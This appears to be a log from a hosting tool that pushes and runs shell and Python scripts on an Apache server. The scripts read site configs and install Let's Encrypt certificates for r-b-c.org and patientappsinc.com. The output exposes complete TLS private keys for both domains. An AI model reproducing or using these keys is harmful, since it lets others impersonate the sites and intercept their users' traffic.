Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:43: 

PUT: /tmp/pkp964228

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/r-b-c_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:43: 

chmod 755 /tmp/pkp964228; /tmp/pkp964228; rm /tmp/pkp964228

2026-01-14 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf	1323

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:00:43: 

PUT: /tmp/pkp815549

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:43: 

chmod 755 /tmp/pkp815549; /tmp/pkp815549; rm /tmp/pkp815549

2026-01-14 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt	5365
32:d4:eb:3b:17:46:9e:be:bd:f1:ba:4c:7e:a3:34:2d

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBtrGwdHqGCNQRB6ePU9pXvdzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMjExWhcNMjYwNDE0MDUwMjEwWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDID/cI
jrD1d6/YggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+e
soN4bszrJVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9A
ZUfQZN+cd4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7
Rk3dwaawVlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP
+p0DBPzCt8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQ
beLwoWYUIqYQfH8JAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FHnp0ImKqlRHSMy0VibuwOOtuL2gMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTE2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB+
AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABm7sXjUYACAAABQAG
5sDlBAMARzBFAiAVhQ9LM1S2maSzEa77Tak9S2bMqLcmri9sDeHQVdwVbgIhAJbZ
BRHziaLAmFHmLQsOP26DPsP0LnQAwfCadxi2+nVyAHcAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGbuxeNGQAABAMASDBGAiEAwGARCVkHNeHFDpOY
vptEEPFmiIWnHGqOoeoSlr5aTFMCIQDQ6fJYJOryg0ys1Pbe6+qlI2lNj+CAWEZk
RbaTuibZSzANBgkqhkiG9w0BAQsFAAOCAQEAsBTKzbmQaYoK290YK1locULcUL5J
AORNHcrI78B/BMlGOxJPFGFt6KlREWandAsd9yAiEM/mJ+AwxFw7kjimGdeDfNL/
UV2wQVfb9Cg5dW81Go2tcFTcutxzPT3ZZajsnlHaYDfhXK7T4iuUqJx1/q8mn06T
/WIQ1wC3ZlQCOqgWrxxMfcmKuSRzOmCgdkNzIqV8amjoN4EYIoLBP9VRq9wU1IK6
Sd9F8jgbHiCKMicF/Fpl5Vm7mEZGeLiQy16iz4xgLon3a8+F43QtieSxVuxPEXjH
onuC6PwY9LMqfw52Wj/UvRCNnc1yXlvyJIsTrV5GWtW+5MFVyyXYkBvJ+g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDID/cIjrD1d6/Y
ggnmfzSZ9VnyIO479DN4VT9cOXmenGSFBavSDlUiIM9SJd8Jm4F1Gp+esoN4bszr
JVK89WTPQ56RKY96gOCHqgezcYEc06KNBGEW/BKEKOm0OEtEKzZnfW9AZUfQZN+c
d4n/tF3Y2subhw2K07CTaw0BFzBcHkfx6t5INHlIyr4R5LIUV31ZSme7Rk3dwaaw
VlP7qVWGefhb2sEP3kVKOF2PdNS4UQmGAroK6a7URRGcnvq5qxk7mweP+p0DBPzC
t8uq/AFBSCRde4Gx5jPCzBDEdHM4VSdEeDgVtUtXF8qv8BRt8NF82kZQbeLwoWYU
IqYQfH8JAgMBAAECggEAB3W+8Kj/dLvAiRp6O4fRQo9pSfPL5lzqAWnuWaZEAHPU
9LfcKxJBPutJx8alPTK4/lCelJiT+ezpw7fp0KV225qqIkASO09sb+qZbGnGVniW
xlrcMvL1zstGwaNavSE+X1gISrasGZt1UhyL/wau/CvWbUd5LAzOOAUFIF4IvdqL
UrcHBNC3v4j9Pu/Xbb3a8AQFR6QDQc4cZHgr46svrWEgnpJ+1njYLf5f6Bocl1TZ
nVgwyO+DPY066GG4+WmFWIbQV0llxFv4w/s/rgbgE3XYQGyHsfhRNiu0acXNZHgr
YwR/fLGA+VFfi7OMaBZlI0PufRi2Lwsp6KhpcExkjQKBgQDoErY0IIccFvAZdpha
SYAocu0bzoIGtHaPZnEMwUfVQiVFrSmdLCKxrZPjKswybs9MucwcHzVrspSHqYHf
LKIdLTheGTb5hRL+Sj0ejztsaQijt7/Kg+oxq2TIl5kWerQbrb1bROA2tBKOMpfF
BJm9o2UvNPvn+D5amKG5ogJrRQKBgQDcsF5pe+c8U7EhOQ2biQYjpsFO/5DuejSt
r2YDY3ANXiXRv4UFTc5qv1ZrGeLv6wWojykQP/Mz6K29qWdKamMgjx11J0fw7tJ5
q3fbaIiNRF2ZFHv8Dq/bYoyXxElrHcogBeOjhRFZy40e1eg8LKDG1hJbOPc6ZmyH
xOeZ/e7e9QKBgDFS8MjJdQ3iTiuLSjw+TO/L5Vs4m+gi6OP3iOWGGudXhKZ3dFXE
cKdE1h69FONPK94Jyzja5Ta7oNfojgLJ8La0yrstLsL/ppbHXpAlLyMOe9iYEDpR
qS/fVq9PkSj28VrEpW9Fh0X5Jcx1Mk6ceLSWisXqw/N8jnwg3paeuVblAoGAZtqM
Jf1pN+SJmUJN5T9nbRY64eaaVYr/IjOtB8dAYfqPBcKM7HvmyDmEvUXDTq3qZTTT
no8vefHnh418ZmJO8M3CnOdB0Dh+P9Z6dfeyLKTAOqghYMg3jbfQbqs8zH+FxIb6
ISvTelYz3zsykVj7VbBPvdQ+5Sj3TA+pIUwIGEECgYBYdaOwcqXBCOidjvgTOeff
MQiHjDe1ic3JD51fyCFJd1L8Qv8giRbmVzNvLAVene9x53UykEtKGnchy9J2yo9O
aXZqtRXyFapmjw/z9kbXYp+M0QJdGQF+yBfAtpMTEuKD22NUzltjH+G3JO1qz9x8
qSCHOoGUY6cOipAUUfqLbQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-14 06:00:43: Establishing a connection
2026-01-14 06:00:43: Establishing a connection
2026-01-14 06:00:43: 

PUT: /tmp/pkp622242

#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:00:44: 

chmod 755 /tmp/pkp622242; /tmp/pkp622242; rm /tmp/pkp622242

2026-01-14 06:00:44: 


0


2026-01-14 06:01:13: Establishing a connection
2026-01-14 06:01:14: 

PUT: /tmp/pkp830413

#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt

cat > $temp_file <<'endmsg'
0a:8b:67:cc:94:72:dd:92:5b:31:7e:47:8d:46:cd:9e

-----BEGIN CERTIFICATE-----
MIIFQzCCBCugAwIBAgISBrEKH8KoGt3kCgzm3k+FQw4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMjQyWhcNMjYwNDE0MDUwMjQxWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCTY4FmnVxns1/M9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9
tMf6eXMgVhwWrS9JudLK5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcW
sHzy0wDLAcXB3knP7muJ1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP
4+69ZPu6Cy2sMsUMUeA5HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4
OXeOMXxYYVTJ03FNx/+YNaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9P
CQS4FiNmrooyB0An6C+fF7n7W46VAgMBAAGjggJlMIICYTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFI1M5vywYRh2hRiGpSQMSXV51MqbMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzUyLmNybDCCAQ0GCisGAQQB1nkC
BAIEgf4EgfsA+QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
m7sYB+YAAAQDAEgwRgIhAPwEgpxb1Npfzcn3sznqBjaGQ6w1/P3I5Bnjs9w4QV3I
AiEA4Vp4G7FFy8HNMhBBNSnZqLdth7cbP2DQ12XL1GNI7iQAfgBxfpXzwjiKbbHj
hEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZu7GAi3AAgAAAUABubC2AQDAEcwRQIg
IHPIsnyBsiJBZoJLjoHx3ZyzVRO72NyyT1TKpeqyaq4CIQDoXVnpR4AIpqTTlwju
oJ8IoqNa0UcbpAt48mESmFrpWzANBgkqhkiG9w0BAQsFAAOCAQEAOpcG2rvbLl3Y
qEghk3Pdhoer8b/a2FDEpoTFGse6Cdt2LeLsPMTkIasXGC84elnpKUSPfXySxVBH
s1ZAWT4mNhhqRIu4XGziIdojqHnzyjhwfMw4oyFJG8eO3MY8vGFMcct5fG/eCz2R
5RIoVoKCdUmXidYQSSE6ZriORT3LZq7vTqf9WVCYuI0sd/RN2/BFoFHEcPq/rQbL
WcWatxR49AIi5u9y2gh8xbutGpKEyxnR6+Vkzi+PcDF6Ax9vWMrqqEmvEeVC29UM
Lk+K4xk4uMCJyp+9pQr1UvDfhZbA5EdsmBuMsRvMedLWMxgu4ZfVp1wmAKzi+QRH
kndenNe5/Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCTY4FmnVxns1/M
9572qjtfadIVzc9gAcSgnrirsoN+75pCQaR8bY4taLU9tMf6eXMgVhwWrS9JudLK
5dveG0B51LrHTRgnNCh0mS3thXvJz1iaP0i34/OyLAcWsHzy0wDLAcXB3knP7muJ
1fnFQGGQAnM+hE5CJTceqpmI+yFJcauXH8QEv6VCZ7pP4+69ZPu6Cy2sMsUMUeA5
HheHpqFfaekICSjjMwWou1th4psx7yYIXxJkeceeLbb4OXeOMXxYYVTJ03FNx/+Y
NaNbIseIWJfGMzaU0lH3Qsqn/aUOg2z1HXSb+UnpSK9PCQS4FiNmrooyB0An6C+f
F7n7W46VAgMBAAECggEAN/eTDZo3mpE8kaJ91ICz5vlR80Ghu30wYyWiTmCNGkh1
tS8j/LPFR2z5VaMuROiVVPQd2maNDFvptW4vXVnP0/N5sXCO+WQO8KeyDv2fEfUQ
WhIp1NpUkZWyY2VFLRf+txfHNmTodnK8lyyPmd1mrr6fcF/hL7DeC2EQyDlEXJSf
1U3owShuj0PQqcZdKy34d9idWRQiHCRw2hQd8qtZAhNgGMucHfi5JBSmgNUY+RXw
1rLIa3lYPJgsxnEp8EYRWoybufG+PgV4WXXy+/15qHGOnrA8vszsA/rsCcLNrJeF
qYMd0p5ie72BbqRB1ztYaV+UHPDUKjbc1A5evgFVCQKBgQDHxY+fEpAM4rCiqtp9
oU06c+AKv0l/CuuUC8AKG5NatswcYZHvPwnDuwhNDH/zQy3q1/rQgrM7Cq13IQ7e
KhW0tz5W0vWruaSx8Y0kmzJ2Qk8Koxw2xzfxXQGA+IGdvARyXO9IHhDqphkA8pRr
AnTN/UpUhTAKDyULxxIsC3oOUwKBgQC834PHYst3ITVFtrMAY/dLCcs1gbobJbov
9xVtNK1gkSiG4ffdJUtbg5o3pq03rhT3qMCaCcDAErRj0Vg6XcrTXujzUmzcWzaO
fXdhfpIs4Rw4rdSyFczLnkchb6KhgjcHliKzUJTaBm6QLYegUaZbeTu/CotyeFu0
aBZ6fazCdwKBgHgabYtcVKB6lWlmwK8xD8YprjOn517qyNEb81vgUkoChlo1ytAE
nTFAu+/eqPoulGeRa+h5+5luhPWPOWoV8TDRzjfS4wJYPQ0CRTIR4Fe669xgTfEc
+qQwn1vTi9GyHRZIi09XTCJWs8efD935/xFsy4he/o+9pS8cgu9aAwqjAoGAWyEp
Txm+/DLcpk9ZnNWe6ujF0IJQTmrso9n+z5s8EDzZpgL/egdVjck4rqNQLm5jFX+p
tmkARGyB9yt5+2dnxoajtUtO1R95elTVNghA9UCEQmC1IFveXVx4C4z2liDi9lkd
UxGNUIkL7araJqNetgIPrsSitc+Wx7v1JJLguU8CgYEAp9etnOuPCgFBgFJ1GdXi
qIgg1QKYcdpCAHK26APbLQq+hSOCylznLM/lu39oAfo12wzPbajOxZgaPtVsJT3Z
5b+/CnPu/am+wLxyNAUPexLZO+WWWD+Asuu3CVDOlLr2YTkqRjqxCIUNT/fLHjz8
hW5NIDPnKLp6875zuG2W3d4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:01:14: 

chmod 755 /tmp/pkp830413; /tmp/pkp830413; rm /tmp/pkp830413

2026-01-14 06:01:14: 


dir=/etc/ssl/certs


2026-01-14 06:01:14: 

PUT: /tmp/pkp519799

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:01:14: 

chmod 755 /tmp/pkp519799; /tmp/pkp519799; rm /tmp/pkp519799

2026-01-14 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>






2026-01-14 06:01:14: 

PUT: /tmp/pkp271603

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
